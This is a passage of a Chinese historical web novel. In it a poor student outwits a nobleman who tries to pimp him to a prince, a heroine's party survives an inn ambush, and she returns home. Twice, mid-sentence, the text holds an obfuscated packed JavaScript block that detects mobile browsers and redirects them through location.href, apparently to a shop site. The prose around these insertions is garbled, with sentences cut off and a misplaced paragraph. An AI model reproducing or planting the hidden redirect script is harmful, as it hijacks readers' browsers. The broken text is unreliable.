刘哲看见一张光洁的前额,斜飞的剑眉下双眼一大一小,觉得有些脸熟,依稀想起是马车撞了朵朵的那名公子哥,不禁有些纳闷,不知他把自己叫来是何目的。 仇一段对公子哥谄媚道:“周公子,人我带来了。”回头看向刘哲,眼里带着暗示,“这位是当朝太尉周嵩的二公子周秋雁,亦是学宫弟子,他有事吩咐于你,好生听命于他便是。” 周秋雁挥挥手,仇一段点头退出,随手带上房门。 周秋雁傲慢地打量了刘哲一番,好个翩翩美少年,秉绝代姿容,具稀世俊美,眉宇间一股拒人于千里之外的清冷,却更显得遗世独立,他脸上现出满意之色。 刘哲被看得起了一身鸡皮疙瘩,压下心里的不适施礼道:“周公子,所为何事?” 周秋雁站起身,一副居高临下的神态:“我们也算认识,那日,那小丫头吓坏本公子的马,害本公子摔了个大马趴,在美人面前栽了好大一个跟头。” 刘哲冷眼看他:“周公子记错了吧,是朵朵被你的马车伤了脚踝。” 他今日是找茬来的么?刘哲不由捏紧了拳头。 却听周秋雁道:“那些小事本公子就不计较了。叫你来是本公子手上有一桩美事,要寻一个人去办,在弟子中挑了个遍,也就你小子最为合适。” 刘哲看见他眼里露出的暧昧之色,心生警惕,语气冷然道:“周公子,你找错人了,怨刘哲不能答应,告辞。”转身朝门口走去。 周秋雁伸剑拦着他:“你也不问问是何事?” 刘哲垂下眼眸:“不感兴趣,周公子另请高明吧。” 周秋雁冷哼道:“哼,先听本公子说完你再拒绝也不迟,或许能达成你的野心。” 刘哲眉梢一挑:“野心?” “你一个彻头彻尾的穷小子,入读最贵的学宫,与最高贵的女子交往,敢说你没有野心?” 说至此处,周秋雁靠在窗前歪头朝外看了看,又突然开门,探头朝外环视一周,确信无人后,将房门关严实。 刘哲有些莫名其妙,他与薛姝之间的所谓交往,不过是几次偶遇而已。 离着刘哲一步之遥,周秋雁语气含着诱惑又夹杂着威胁:“本公子明人不说暗话,看上你这副皮囊了,要抬举你去见我一位好兄弟,若得他点头,自然有你的好处,别说在学宫念书,便入读太学也易如反掌,若你命里福星高照,得去侍候他家高堂,没准将来我还要仰你鼻息。” 刘哲开始有些懵,好一会才明白周秋雁所说的侍候,是充当权贵的娈童。 当今勋贵高门,拥有娇妻美妾不算得意,有几个上等姿色的娈童陪着行乐方才算得上有头有脸。 未央宫内的玉堂殿便是天子蓄养娈童的地方,他们极尽荣宠,且有一样好处,不必净身,到了年纪,可以离宫如常人一样结婚生子。故世人看待娈童亦是平常,甚至还有些羡慕,简直是老天爷追着赏饭吃,凭天生的相貌便能赚来财富地位。 但娈童毕竟是男人的玩物,读书人极为鄙夷,又因是糟践男子,朝廷也不提倡,故只是大户人家悄悄蓄养,或青楼养上几名充作门口迎客的相公,有特殊癖好的客人看上了,花上一笔银子让他们陪睡,青楼也多一条赚钱的门道。 这大小眼公子哥竟把他当成男人的玩物,刘哲眼中的冰块忽然变成了一团烈火,右手压在腰间的剑柄上,恨不得拔剑将他的头颅砍下来当鞠踢。 周秋雁见刘哲突然变脸,不由紧张地退后几步,也将手放在剑柄上,色厉内荏道:“你要做甚?我警告你,我爹可是当今太尉,捏死你如捏死一只蚂蚁。” 刘哲压下心中的怒火,脑子快速地转动起来,若真得罪了周秋雁,或许会如其所说,他被弄死或被赶出京城,那么他所筹谋的一切便将付之东流。 刘哲停止了拨剑动作,脸色缓了缓:“你却待如何?” 周秋雁手仍扶着剑柄,神态却放松了不少:“别敬酒不吃吃罚酒。这个主子你可是打着灯笼都找不着,多少小帅哥在他面前晃来晃去都入不了他的眼,若不是看你有几分才华,我都懒得拉这皮条。”不无得意,“也就是本公子我辛苦给你牵线搭桥,他还给几分薄面。” 刘哲尽量以平静的语气问:“你说替人拉皮条,何人?” 周秋雁以为他被自己说动,喜得忙道:“是三殿下刘纯,他喜男风,惯会怜香惜玉,你跟着他吃香喝辣,凭你的模样,没准能将你送到陛下跟前,岂不是挡不住的泼天富贵?” 听到对方是三皇子,刘哲神情并未显出喜怒,只是不动声色地问:“若我不愿意呢?” 周秋雁极其轻蔑道:“由不得你愿不愿意,以你预考的成绩,八月考录你已无望,只能卷铺盖滚蛋,不如随了三殿下,走捷径入读太学不香么?免了你苦哈哈在学宫勤工俭学。若我猜得没错,入读太学是你的终极目标。” 刘哲神情一凛:“你如何知道我分数垫底?是你捣的鬼?” 预考分数并未公开,仅由学监通知考生本人。 周秋雁一愣,随即带了威胁的口吻道:“是本公子干的又如何?本公子连预考都能操纵,你便该明白,我太尉之子一句话,学宫还有哪位先生敢收你为徒?” 室内一时陷入沉默,刘哲似是在权衡利弊,良久,又问:“是你让仇管事换了我的考卷吧。” 周秋雁蛮横道:“你管他谁换的?以你现在的成绩,断不能参加八月的考试。” “就不怕我告你们?” “你如何告?有何证据?有证据你也告不赢,回去撒泡尿照照镜子,连学宫弟子都不算的穷辅教,人搭理你都困。不如看清如今的处境,早早为自己谋个大好前程。” 刘哲默了一默,又问:“三殿下真能安排我入读太学?” 周秋雁一口应承下来:“不费吹灰之力。” 刘哲语气放得更为轻缓,含有一丝渴求的意味:“可是怎么能保证你不是在骗我?待我应承下来你却变卦了,我上哪说理去?” 周秋雁讥讽道:“哼,穷小子当真没见过世面,便入读太学这点破事也值得变卦?都不必劳三殿下的大驾,让我爹与太学大祭酒说一声,包你明年妥妥成为一名太学生。” 刘哲犹犹豫豫地央求道:“空口无凭,公子能给我立个字据么?” “这点小事便不用立字据了,再说这一时半会上哪找笔墨纸张去?你还怕我堂堂周二公子说话不作数不成?” “无凭无据,你便说破天去,我也是不敢答应公子的。正好,这里有现成的文房四宝。” 他打开靠墙一张桌子的抽屉,拿出纸笔及砚台,动手开始磨墨,然后将笔递给周秋雁。 “你说,我写便是。”周秋雁无所谓道。 “刘哲答应太尉之子周秋雁,做三皇子刘纯的侍从,周秋雁保证刘哲明年入读太学,特立此据为证。”刘哲语气平和,吐字清晰。 “不,不能出现三殿下的名号,改为‘刘哲答应做周秋雁的侍从,周秋雁保证刘哲明年入读太学’。” “必须出现太尉二字,不然谁知道周秋雁是何人?我认识一名礼尚街的卖鱼小弟也叫周秋雁。”刘哲以不容改变的语气坚持道。 周秋雁显然被刘哲将自己与卖鱼小弟并列而有些恼,却也无奈地答应:“好吧。” 刘哲极有耐心地看他写完,又一字一句地将内容念了一遍,指着纸张下方道:“写上日期,签上公子大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16493100|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名。” 周秋雁写罢,搁下笔叮嘱道:“那上头有我的签字画押,你千万别弄丢了。现在你先到礼尚街我的别院住着,还得花大钱给你置几身行头包装一番,这副穷酸样在三殿下面前亮相实会被退货。” 刘哲点点头,将字据贴身藏好,突然毫无征兆地飞起一脚朝周秋雁所坐的椅子踢去。 周秋雁猝不及防,屁股一下失去支撑跌坐在地,惊慌问道:“刘哲,你,你想做甚?” 刘哲不搭话,剑不出鞘朝周秋雁前胸狠狠一个横扫。 周秋雁痛得惊呼一声“啊”,仰面倒在地上,骂骂咧咧挣扎着起身,被刘哲用脚尖点了一点,仍旧跌倒在地,不由咬牙切齿道:“你小子找死,你等着,我叫爹将你碎尸万段。” 刘哲使出三分气力挥剑照着他的嘴巴啪地一下,他的脸登时肿涨如猪头,吓得忙翻身脸朝下双手死死抱住脑袋。 刘哲冷冷道:“养了你这么个坑爹的货还好意思提自家亲爹,我把你这瞎了眼的!你可看清楚了,我手上有你画押签字的你亲爹操纵太学录取学子的铁证,不说求我放你一码,还口吐狂言。今日不给你松松筋骨,你真当你刘爷是那等愿意做‘受’的货。” 边说边持剑从周秋雁肩背至胫骨处左右开弓狠狠拍了几下。 周秋雁疼痛难耐,嘴里不断发出“哎哟”的咬牙切齿的轻呼声,见刘哲没有停手之意,只得求饶道:“我知道了,你是正经人,饶了我吧,打死我你也讨不了好。” 刘哲住手,冷冷道:“我的预考成绩怎么说?” 周秋雁道:“已经上报大祭酒了,无法改。” 刘哲冷笑道:“明日朝廷的尚书台,不,是兰台,应该能收到字据。” 周秋雁哼哼道:“兄弟……” 刘哲一脚踢在他后腰上,痛得他呲牙咧嘴,连忙改口:“刘爷,千万别,我给你摆平便是。” 刘哲一脚将他掀翻过来,用剑尖轻轻拍了拍他已成猪头的脸颊:“往后你可得每日吃斋念佛保佑我在学宫平安无不,我有何不测,便记你小子头上。”言罢,两手负后神清气爽地出门扬长而去,还不忘丢下一句:“别跟着,我嫌丢人。” 才一出门,却见薛姝迎上来,似笑非笑地打趣道:“穷书生智斗贵公子,薛姝佩服。” 刘哲脸上一红:“薛姑娘为何在此?姑娘都看到了?” 薛姝坦然道:“方才见你神色慌张,担心你出啥事,孰料却观了一出好戏,看不出你有这等血性,薛姝佩服。” 刘哲顿现少年囧态:“我是被迫无奈。” 他一个无依无靠的穷小子,能靠的只有自己的脑子。 “脑子是个好东西,我一直都劝你多买些特产,不送人倒卖也能赚些银子,你脑子却不开窍,唉,不听师兄言,吃亏在眼前。” 小茶摊上,管胖子喝着劣质的茶水在叨叨青绿。 方才青绿突然冒了一句,说自己好歹也是走了十几个国家的,来回几千里历时几个月,没点礼物送亲朋好友真说不过去。 她不答理管胖子,扭头去看马车辕座下的小木箱。 管胖子吓得忙道:“你别动歪脑子,这里已到敦煌郡龙勒县地界,前面便是阳关,进关后你还来得及补救。” 青绿喃喃道:“终于要进关了,回到大汉了。”不舍地回头张望。 阳关三面绝壑,一径仅通,凭水为隘,据川当险,占有“一夫当关,万夫莫开”的险要地势。 管胖子将青绿和阿四带到阳关耳目上,说在这里向西域最后道别。 阳关向北至玉门关一百七十里长城,每隔十数里便修建一座烽燧,阳关附近以北侧墩墩山顶上的这座烽燧最高最大,三十里外都能看到,故称阳关耳目,非战时向游人开放。 残阳如血,大漠孤烟,站在阳关耳目上,但见一座偌大的边塞关城横亘在戈壁与沙漠之间,东联长安西控戎地的高耸关隘,箭楼入云,旌旗猎猎,鼓角相闻。 青绿极目远眺,西边是漫无边际的沙漠戈壁,铺陈着荒芜悲凉;东边是绿洲如带河水似练,大地一派生机盎然。 视线落到关内,但见街道纵横,使者相望于道,商旅不绝于途,天马驰骋于野。 进了阳关便与二哥相隔东西,不知他现在情况如何?何时才能回京?青绿泪眼迷离,嘴里喃喃道:“二哥,你一定要好好的,兮凤姐、沙婶婶,你们也都要好好的。” 35.第三十五章 遇袭 阳关的地理位置,使得这个有中原第一镇之称的边关小镇极为繁华喧嚣。镇内置都尉治所,屯兵两千,一条东西向的街道,以治所为中心,两旁茶楼酒肆、青楼勾栏、作坊杂货铺应有尽有,其独特之处,在于西域与中原特色混杂的住房,及那些说着汉话却长着高鼻深目的面孔。 听着马车轱辘压在路面上发出的吱吜声和着得得的马蹄声,青绿终于放松了绷紧的神经,用管胖子的话说,关外睡觉只能闭一只眼,如今可以闭上两眼睡个囫囵觉了。 她看了一眼放肆地将自己摊在车内酣声如雷的管胖子,探身想坐到车外。 双目紧闭的管胖子突然喝道:“老实呆着,别作妖。” 青绿打了一个哆嗦,看看酣声未断的管胖子小声问:“是在说我么?” 话音未落,倏忽间狂风大作,漫天肆虐的沙尘搅得天昏地暗,街上顿时飞沙走石,房屋及行人仿佛全被风沙埋没,只剩路旁高高的胡杨林枝条随风狂舞。 阿四将马车停靠在路边,扎紧车帘,自己端坐在马背上静如一尊石碉。 狂风骤来骤去,待咆哮的风声完全平息,似乎才睡醒的管胖子坐起身来,掀起车帘探头看了看。 青绿的视线跟着从帘子缝隙看出去,但见满眼黄沙,阿四全身蒙上了一层厚厚的沙尘成了一只小黄鸭,既滑稽又有一种说不出的寂寞。 管胖子懒洋洋道:“下车,寻个酒馆吃两口。” 道旁一个名为羊百味的小酒馆,揽客的摊子摆到了门外,一大锅咕嘟咕嘟冒着热气的羊杂汤飘着浓香。 一高一矮两名伙计候在锅旁,高个伙计用长勺上下搅拌着汤锅,不时抬头瞟一眼街上,矮个伙计则眼神贼亮地盯着行人车马,不时上前热情招呼。 青绿闻到肉香,肚子里的馋虫开始骚动,可怜巴巴地看着管胖子。 管胖子道:“到城中找个大些的酒馆,食材更新鲜,还可以听听小曲欣赏一下肚皮舞,回到中原便没有这等眼福了。” 青绿觉着有道理,在祭奠五脏庙方面,她的智商永远赶不上管胖子的经验。 踌躇间,一直紧张地盯着管胖子的高个伙计回身飞奔入室内,矮个伙计则上前拉住马缰绳道:“客官请进来尝尝我家的酒,满大街数我家的酒最好。” 管胖子笑道:“你家的酒烂大街了还好意思说是好酒,好酒用得着拉客?” “客官此言差矣。”伴随着低沉却不失妩媚的女子声音,一名身形高大披着浅蓝色薄纱的美貌女子,在高个伙计陪同下迎出门来,白皙光滑的圆脸,大大的眼睛,两瓣厚厚的鲜艳红唇,身上该细处盈盈一握,该丰腴处风起云涌。 她对管胖子施了一礼,微微一笑:“酒好不好,客官还须亲自尝过才好说话。” 上前将手搭在管胖子胳膊上,脸上神情并无一般女掌柜为留客而堆出的谄媚之态,而是现着淡淡的自信,不容管胖子多想,挽着他便朝里走。 青绿跟在半推半就的管胖子身后进了酒馆。 她展眼四顾,这是一座呈倒凹型的两层楼房,房子空间不大,楼顶却很高,一楼大堂摆着五六张桌子,二楼连廊连着的十几间雅间皆关着房门,大堂左手处有楼梯上二楼,格局类似乌垒城的旗风阁。 此时临近饭点,店内却并无客人用膳,青绿想起管胖子说过翻桌快的酒馆食材才能保持新鲜,便有些后悔进了这里,但看管胖子脸上捉摸不透的神情,便不吭声。 低音女子将他们让至大堂中间一张方桌前,管胖子在东面落座,她坐对面作陪,青绿和阿四各自在南、北面分头坐下,伙计端着茶壶茶碗上来给每人倒了一碗茶,然后麻溜摆上碗碟。 管胖子与低音女子寒暄客套了几句,小眼睛转了一转,似笑非笑地对低音女子道:“掌柜的,你这酒店的生意有些冷清啊,你开店不用赚银子的么?又或者目的并不为赚银子?” 低音女子目光在他脸上停留了好一会,淡定站起身道:“这么快便被你看出来啦,嘿,我也不装了,劳心劳神的。” 她双手一击掌,大门关闭,十数个举着大刀的汉子从后门冲了进来,将他们团团围住。 随着房门响起噼里啪啦的声音,二楼连廊处也冒出二十几个汉子,外加两颗光头,人人手上一把拉满的长弓,隔着围栏对准了低音女子同桌的青绿三人。 青绿吓得一哆嗦,嘟囔道:“糟了,进了人肉包子店。”后悔自己忘了戎人喜拿人肉做包子的提醒,唉,怪自己一进关便放松了警惕。 低音女子瞥一眼楼上楼下刀在手箭在弦的众汉子,忽又坐下,眼神挑衅般看着管胖子笑道:“你便不能迟些再看出来么?本想用药麻翻了放血,如今却好,少不了一场打斗,血肉横飞的,没的弄脏我的地盘。” 管胖子伸着脖子喊冤:“哪里是我看出来的?不过顺口说了一句你便当真了,早知如此我便不说了,弄得我现在怪害怕的。” 青绿似乎更害怕,她得得地叩着上下牙问低音女子:“姐姐,放了血该如何?” 门口拉客之一的高个汉子笑道:“做人肉包子,晒成腊肉干,都能卖大价钱。” 青绿看一眼管胖子,瑟缩着肩膀对低音女子道:“姐,我太瘦,做出的包子不香,晒干一准成腊骨头,不值钱,有我家老爷的三百来斤便够了,你放了我吧。” 众人哄堂大笑,便连二楼紧握弓箭的汉子也笑得纷纷垂下手臂,全然忘了刚才的剑拔弩张。 管胖子笑骂:“喂不熟的小狼崽子。”眨巴眨巴绿豆眼,“姑娘,有事好商量,我与你往日无冤近日无仇,我有的是银子,是比你将我等做成人肉包子卖了还要多得多的银子,不如我给你银子,你放我走人,两全其美。” 低音女子敛了笑容,凑近管胖子道:“管绣衣,你再装下去便没意思了。可惜,我不要银子,我只要你项上人头。”身子朝后一退,大喊,“拿下。” 随着她的话音,持刀汉子齐刷刷朝前逼近,阿四双刀在手毫不畏惧地与他们对峙。 低音女子冷冷地对管胖子道:“我劝你们乖乖就擒,真要见血恐怕便没有全尸了。” 管胖子的胖脸上仍然保持着一副笑模样,眼里却带了一股狠厉:“尽管放马过来。特么的,想不到关内还敢有人等着胖爷,大意啦。”朝青绿眨眨眼,“丫头,若害怕便闭上眼睛。” 青绿心里嘭嘭直跳,嘴上却装作轻松道:“不就是打架么?谁怕。” 十几名壮汉挥舞着大刀蜂拥而上,阿四挺身迎战,双刀飞舞如砍瓜切菜般不时削断一只胳膊或一条大腿,偶尔也有一个脑袋落地,他仅是脸上被刀尖划破了一道血口,反而给他亘古不变的脸瘫增添了些许生动。 初时青绿还睁大眼睛看阿四打架,待一个血淋淋的脑袋咕噜噜滚到她脚下,才吓得闭目躲到管胖子身后。 管胖子倒像是个局外人,好整以暇地看着这一切,隔三差五扔出一个碗或碟,砰一声将避过阿四伸到面前意欲偷袭他的大刀砸落。 低音女子一看一楼的汉子不是阿四对手,右手朝上一挥,二楼近十名汉子一跃而下,挥剑围攻阿四,攻势甚为凌厉。 阿四火力全开左劈右砍,双方一时难分胜负。 二楼又有几名汉子和两个光头飞身跃下,却是冲着管胖子而来。 管胖子似乎开始慌神,脚步凌乱地左躲右闪,桌上的碗盏扔完了,剩下一把茶壶,他拎着壶把敲落几把剑柄后,敲开了一名冲到他跟前的汉子的脑袋,红白之物溅到他身上,他嫌弃地皱了皱眉道:“弄脏了老子的衣裳,你赔。” 说话间,侧身避开一把已砍到他胸前的大刀,快如闪电般伸出右手食指点在持刀人手腕上,大刀哐啷落地,他飞起一脚将人踢飞,弯腰捡刀后并未直腰,而是躬身握刀在头顶舞了一圈,挥落了两把长剑,才慢悠悠地站直身子,掂量一下手中大刀,笑道,“军刀不错。” 然后一阵似是毫无章法的乱刀狂舞,在他与青绿周围筑起一堵刀墙,水泼不入。 青绿由衷地大声赞叹:“师哥威武。” 另一头,阿四迅速占了上风,二十几名汉子死伤各半,低音女子眼看无取胜可能,食指及拇指放在唇间一用力,一声尖利唿哨响起,所有汉子呼啦一下全闪开退至四周。 随着低沉的“放箭”声从低音女子嘴里崩出,霎时从二楼嗖嗖嗖地射下十几支飞箭,阿四狂舞双刀斩落箭矢,但随着一楼汉子及两个光头跃上二楼,飞箭如雨而下。 青绿早在那句“放箭”声起之际,麻溜躲到桌底下。 管胖子被激怒,吼了一句“玩够了么”,长袖一挥,微光闪过,楼上几名汉子倒栽葱般摔到一楼。 阿四一个旱地拨葱,脚尖在桌上一点,顶着箭簇飞掠上二楼,一时箭雨骤停。 不过片刻功夫,二楼便只剩下阿四及两个光头在刀光剑影中晃动。 楼下汉子顿时面现惊惧之色,有汉子悄悄朝大门方向移动,低音女子急眼了,脚背挑起地上的一把刀,用手接着朝大门方向扔去,击中一名正欲拨去门栓的汉子后心。 低音女子接过高个伙计扔过来的一把流星锤,面容扭曲,歇斯底里哑着嗓音大喊:“都跟我上,伤 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管胖子对她嗤之以鼻:“阿四如此高的高手,压根不屑于与你这个小菜鸟说话,也就是我心肠好,可怜你搭理你一下。” 青绿将信将疑,好几次借机要从阿四嘴里掏出哪怕一字半句,最终均以失败告终,于是她坚定地认为管胖子有把柄落在阿四手里,怕被出卖,将他毒哑了。 她硬着头皮下了好大决心悄悄向瓜老头提出对管胖子的质疑,话没说完,前额便领了瓜老头赏的一个结结实实的暴栗,她捂着长角的额头委屈地逃回自己书房,却分明听见身后传出瓜老头的桀桀狂笑。 更让青绿气成气胸的是管胖子蹲在门口,捂着肚子直叫“喛喛”,青绿没好气地踢了他一脚。 管胖子脸皮十分厚实地尾随着进了她的书房,嘴角一抽一抽道:“你那脑子不是进水了,是灌风了,风洞忒大。你有种,敢告师兄黑状。” 青绿心底发虚,脸上却是理直气壮:“你不是常说,兰台人要善于发现蛛丝马迹么?我敏锐觉察到你不是好人,去提醒师傅怎么啦?” 管胖子跌足又笑:“怎么也不怎么啦。喛喛,我不行了岔气了,得找师傅讨个黄瓜压压惊。” 青绿气得朝他翻了三次十方白眼,重要的事情翻三次。 青绿观阿四打斗至得意处,在桌底下得意忘形高呼:“阿四哥,你好犀利。” 她的喊声吸引了门口拉客之二的矮个汉子的目光,他突然持刀冲过来朝桌下一阵捣鼓,嘴里喊道:“小子,出来。” 青绿从桌子的另一头狼狈爬出,还未站稳,矮个汉子的刀已朝她砍来,她下意识地一抬手,袖中飞出一片薄如蝉羽的短剑,带着一道微微的不易察觉的寒光,无声无息地在他的脖下划过。 矮个汉子难以置信地看了她一会,随后双目圆睁仰面倒下,一股鲜血直喷高空,复又落至地面。 星星点点的血迹溅落在青绿身上,吓得她双目紧闭,腿一软跌坐在地。 青绿感觉有人拍了拍自己的脸颊,随后耳边响起管胖子的声音:“喂,丫头,架打完了,你还活着么?” 她也不睁眼,伸手胡乱朝前抓了一把,将他的衣袖紧紧拽在手中,结结巴巴道:“师师兄,师兄兄,我我杀人了。”一秒蜕变到吐叠字的婴孩时期。 便听管胖子笑道:“丫头阔以哦,你睁开眼睛瞧瞧,第一次飞剑便命中要害,往后若有人问起,你可别忘了说我是你师傅。” 青绿睁开眼睛,看见管胖子笑眯眯地蹲在自己面前,再一看一旁倒在血泊中的尸首,胃内顿时一阵翻涌,双手扯着管胖子的袖子张嘴便要朝他身上吐。 管胖子反应奇快,一手捂住她的嘴一手如拎一只小鸡,将她拎到墙边的大水缸旁。 青绿对着墙一阵干呕,却什么都吐不出来,过了好一会才缓过劲来,环视四周,此时大堂内静悄悄的,所有汉子均倒地而亡。 再看管胖子和阿四,二人正在对付独活的低音女子,她被阿四一手掐着脖子逼得贴墙而立,又被管胖子的死亡眼神凝视着,脸上却是一副无所畏惧的决绝神态。 管胖子突然右手抡圆了朝她左脸打去,嘴里道声:“吐。” 噗地一声,低音女子和着鲜血吐出几颗牙齿,其中一颗大牙明显颜色偏暗。 管胖子踢开这颗大牙,面色冷凝地对她道:“想服毒自尽?没门,老实些,否则胖爷有的是法子让你生不如死。” 阿四松开手,低音女子顺着墙根瘫坐在地上,面如死灰,大口大口地喘着粗气。 36.第三十六章 默契 管胖子蹲下肥胖身躯逼视着低音女子道:“说吧,你受谁指使?” 低音女子脸色铁青,咬牙道:“你杀了我吧。” 管胖子脸上顿现阴鸷之色,阴恻恻道:“想死得痛快?哪有这么便宜的事?绑在沙漠里晒成干尸,或点天灯活剥皮,你选哪样?” 低音女子脸色变得煞白,但仍坚决地摇头道:“无甚可说的。”言罢,紧咬下唇闭上双目,胸脯急促起伏。 管胖子冷笑道:“爷有的是让你开口的法子,除去衣衫挂在城门,又或是毒哑了挑断手筋脚筋扔给丐帮,看你能扛到何时?” 低音女子瞬间崩溃,整个哭成了泪人,她不顾脸上涕泪纵横,仰头对管胖子道:“我说了不但我活不成,我爹娘亲人几十口也全都活不成。” 管胖子冷哼:“你不说我也知道谁是幕后主使,不就是镇西将军么?” 低音女子吓得将头抵到了地上:“我没说。” 青绿从大水缸舀了一瓢凉水,仰头灌了一大口,拿着水瓢过来递给低音女子。 低音女子不接,却一把拉住她的手,哀切道:“小兄弟,你是好人,求你了,痛快杀了我,我在九泉之下也会感激你的。” 青绿心情有些复杂,既厌恶又同情,悄悄扯了扯管胖子的袖子:“师兄,她武艺高强,留着或许有用。” 低音女子猛然抬头,目光投向管胖子:“我可以替你们做事,只要能保我全家安全。” 管胖子眼神凛冽看着她道:“你先答应我一件事,我便给你指一条活路。” 低音女子犹疑地看了管胖子片刻,点点头。 管胖子道:“你来日出面指证镇西将军。” 低音女子眼中的希望之光顿时熄灭,脸现畏惧连连摇头。 青绿目光明亮看向管胖子,想不到他考虑得如此长远,却又有些担忧,怕低音女子不答应,她真心希望将来有人敢站出来指证镇西将军刘意的恶行。 管胖子似是猜透低音女子的心思,继续对她道,“我说的来日,是将来他被拿下的那一日,如今你先隐名埋姓跟着我干,我自会将你安置到他的魔爪伸不到的地方,但仍得做谍子,你可愿意?” 低音女子转悲为喜应道:“我愿意。” 管胖子站起身,理了理衣裳道:“那便好。”又问,“你等从何处来?因何而来?” 低音女子竹筒倒豆子般全倒了出来。 她姓凌,名杏芽,祖上是中原人,所率帮众名流沙帮,是她爷爷创立的,到她爹手上只剩下三十来人,爹便解散了帮众,自己到镇西将军府做了护卫,不久便升了府门亭长。 一日,将军府的曹参军把凌爹爹叫去,命他聚拢流沙帮旧部到敦煌郡龙勒城,以开酒馆为愰子,收集情报,劫杀对将军府不利之人,还亲点年方十九武艺高强的凌杏芽当帮主,理由是女子容易掩藏身份。如此,她便于两年前到了此处。 一直以来也无甚大事,直至上月两名僧人来到酒馆,带来了管胖子的画像,并转达曹参军口信:若管胖子在此出现,她没发现或发现了不能截杀,她的家人将在西域消失。 管胖子听罢,耸了耸肩膀:“将军府的曹参军?我只将这功劳记到将军头上。” 说话间,阿四已将所有尸体集中起来,然后交给管胖子一摞薄薄的飞剑。 管胖子开始发号施令。 先是对凌杏芽道:“凌姑娘,确认你的手下是否全部在此,只要走脱一人,便会给你带来灭门之祸。” 然后对阿四道:“西域青竹帮以谋财害命不留活口而闻名,将此处伪造成青竹帮打劫现场,浇油点火,我们天黑之前出城。” 最后问青绿,“你飞出去的短剑都收回了么?遗漏任何一把都会暴露你的行踪。” 青绿手在袖子里捏了捏,点头道:“我只用了一把,已收回。” 管胖子笑道:“脑子看来还能继续用,没被吓傻。” 青绿翻了他一个白眼:“我脑残志坚,行了吧。” 管胖子呵呵笑道:“脑残不脑残的无所谓,只要你四肢健全回到凡府,我才有面目见凡副校尉。” 长安城,约素园内春松阁,青绿在下人一迭声“二姑娘到”的传报声中被引到大厅,却意外看到除了妹娘外,大哥竟然也在。 青绿一头朝妹娘怀里扑去,不无撒娇道:“妹娘我回来啦。”头在她怀里蹭了蹭,这才歪着头对凡不凡道:“大哥今日下值忒早。” 凡不凡笑道:“听说你今日回京,我用了攒下的三日休沐,没去当值。” 朝廷官员每工作五日便可轮休一日,但凡不凡是天子近臣,有事无事都得呆在宫里以备皇帝宣召,故这个规定对他而言形同虚设。 青绿心里一暖,原来大哥如此记挂自己。 一屋子仆妇丫鬟向青绿行了见过礼后退了出去,只剩妹娘的心腹水妈妈站在一旁侍候。 妹娘双手捧着青绿的小脸,左看右看,伤感道:“前段时日这脸上才现出些细嫩白净,出门一趟又回到从前了。”含了些许怒气,“兰台掌门是那个老瘦子还是那个大胖子?真是吃人不吐骨头,相府千金过得不如狗。” 妹娘一向温厚,对下人都极少有红脸的,更不用说骂人,水妈妈看向她的眼神颇有些意外。 青绿啼笑皆非,自己偶与大哥闲聊时提起的兰台上司竟然被老人家惦记上了,看来往后再不能在家里谈论宫里的任何事情。 凡不凡一脸严肃地纠正道:“妹娘,是前相府。” 妹娘有些不讲理:“前相府便不是相府么?大爷,你翌日便去兰台给小二告假,也就十来日,待她过了生辰办完及笄礼再去。我得想办法让她变白,不然人都不认识她是谁,总不能让我牵只黑熊瞎子在及笄礼上惊艳亮相吧。” 青绿笑得露出了八颗牙齿:“要人认识我做甚,我又不是银子。”摇了摇她胳膊,“妹娘,不能告假,翌日我得进宫复命。” 她之所以归心似箭,便是记挂着钟离梨是否寻着了那位嬷嬷。 “复命自有与你一同办差的上司。”妹娘不上当。 凡不凡态度十分认真:“妹娘,告假总得有个缘由吧。” “肤黑貌丑,无脸见人。”妹娘一脸的理所当然。 “妹娘,这不能成为理由,恐怕难以获批。”不凡十分为难。 “实话实说有何不可?欺瞒上司才是大罪。便这理由,不改了,你尽管写了假条替小二递上去便是。” 青绿忍不住笑:“妹娘您真可爱,您若是天子,大殿上对着乌泱泱满朝文武大手一挥‘脸白的留下,其余全给朕卷铺盖滚去领盒饭’,那才叫威风。” 一向不苟言笑的凡不凡绷不住笑出声来,水妈妈也笑。 青绿眼珠子转了转,叹了一口气,对妹娘道:“差不多到领俸禄的日子了,宫内规制,告假超过三日便取消当月俸禄。” 妹娘半信半疑,问凡不凡:“小二说的可是实话?” 凡不凡点头道:“确是如此。” 妹娘默了默,干脆道:“那么点俸禄不要也罢。” 青绿哀求道:“哎呀妹娘,这不是俸禄的问题,是我卖命干了几个月,能力得到肯定的问题。再说了,到手的俸禄不领岂不是便宜了糊涂上司?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16517768|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹娘坚持已见:“要那能力做甚?没能力更好,你自己说过越能干便要干得越多。依我说,别干了,你娘给你留了足够的嫁妆,不够我给你添上,终究能将你风风光光嫁到一户好人家。” 青绿试图说服她:“做事不领俸禄,不是圣人便是傻子。” “你还不够傻么?放着白富美不当,把自己弄得像块黑炭,点火都能烧着,嫁到大户人家不把你当厨娘才怪。” 青绿无语,自己嘴皮上的功夫八成源于妹娘的潜移默化,好吧我说不过你。 青绿求救般看向大哥。 不凡斟字酌句道:“嗯,妹娘说得极是,二妹妹确实傻。”沉吟片刻,“只是,您知道么?二妹妹所在的兰台,须是皇帝陛下信得过的人才能在里头当差。下一步若我外放,能否回京还得靠二妹妹呢。” 